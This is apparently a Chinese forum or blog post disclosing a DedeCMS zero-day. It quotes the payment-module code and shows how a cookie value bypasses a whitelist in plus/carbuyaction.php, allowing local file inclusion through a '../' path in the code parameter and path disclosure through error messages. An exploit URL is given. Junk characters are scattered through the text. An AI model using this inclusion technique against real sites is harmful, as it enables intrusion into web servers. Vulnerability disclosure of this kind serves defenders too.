dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)

出现漏洞的两个文件为：
Include/payment/alipay.php
Include/payment/yeepay.php
8 J- |4 L  f; ?漏洞均出现在respond方法里，估计这两个文件是临时工写的。
% g9 a* T- }" b
Include/payment/alipay.php

" j5 o8 V8 o  _6 o% U% d0 G( {' F......
   function respond()
    {
        if (!empty($_POST))
        {
            foreach($_POST as $key => $data)
            {
                $_GET[$key] = $data;
- i8 ^+ t  q+ l) X/ n: d            }
        }
        /* 引入配置文件 */
0 P+ I$ X) U) _; Z, m" p        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
/ l! a) c; Z# \, b6 Q5 q......
' |" H7 t" |! R. [8 y' y  d* T
6 c4 [) e. S# T! Y7 \9 S  ]
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

# Y! r2 z7 y5 Z
- [3 e5 v( _: T$ f8 V
......
" I) w1 j1 n8 T& ^+ L0 \$ C    function respond()
  s7 G- d' j$ b9 b( v    {
) p; z6 V5 D; o1 J- B
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
" n8 q& x4 ]: ]! e% \* I, _" n
$ s" [2 h" U  e( a. @  a  H5 s        $p1_MerId = trim($payment['yp_account']);
        $merchantKey = trim($payment['yp_key']);
......
& X# t; R, M9 G" R3 o. M
, {: P) c1 i5 \. G/ `
' N! A: h! {2 T2 N
  f5 W' t4 J, u( Y- @- j+ P
大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。

$ J) H3 K) c* f: L. t9 s这两个方法在plus/carbuyaction.php文件调用。
5 c9 E7 i7 t. f( K0 W: j
/ I- T4 ]$ ?+ W/ q4 T$ _plus/carbuyaction.php
3 |* _& s: l, ^. B" H) f1 L" `
1 z( u8 q1 ^8 G' S......
} else if ($dopost == 'return') {
: Y# u8 }  W# v4 q4 _" n8 V    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
6 c! z3 a5 x, n/ W/ }    if (in_array($code, $write_list))
    {
! U, I- R4 `! f9 N4 w        require_once DEDEINC.'/payment/'.$code.'.php';
, x9 p3 y, o' }0 [, t- Z! \        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
) x" r: z9 T  x* n3 N$ d: }        exit();  
    } else {
        exit('Error:File Type Can\'t Recognized!');
    }
}
  L. Z# Z6 y! R2 @7 b+ k......

, Z. o) Q  l% c2 m9 z
' O( K0 g% t7 J) Y' k0 K) i& }5 p


; x$ h  S9 W+ H% I0 ~% k* X: N
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
5 s, A, a) z6 @# f2 T6 O" Q
回到include/common.inc.php来看看他的机制。



......
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
        foreach($$_request as $_k => $_v)
        {
/ V) z3 E1 i; q                if($_k == 'nvarname') ${$_k} = $_v;
                else ${$_k} = _RunMagicQuotes($_v);
3 `- @0 ~. l! R: e4 y        }
! j5 m' b4 W, i$ t; r# H}
......
% b5 _. e+ W" A2 }2 @8 i0 ^3 w大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
' H4 X) m: ]3 i) N7 c7 Z由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。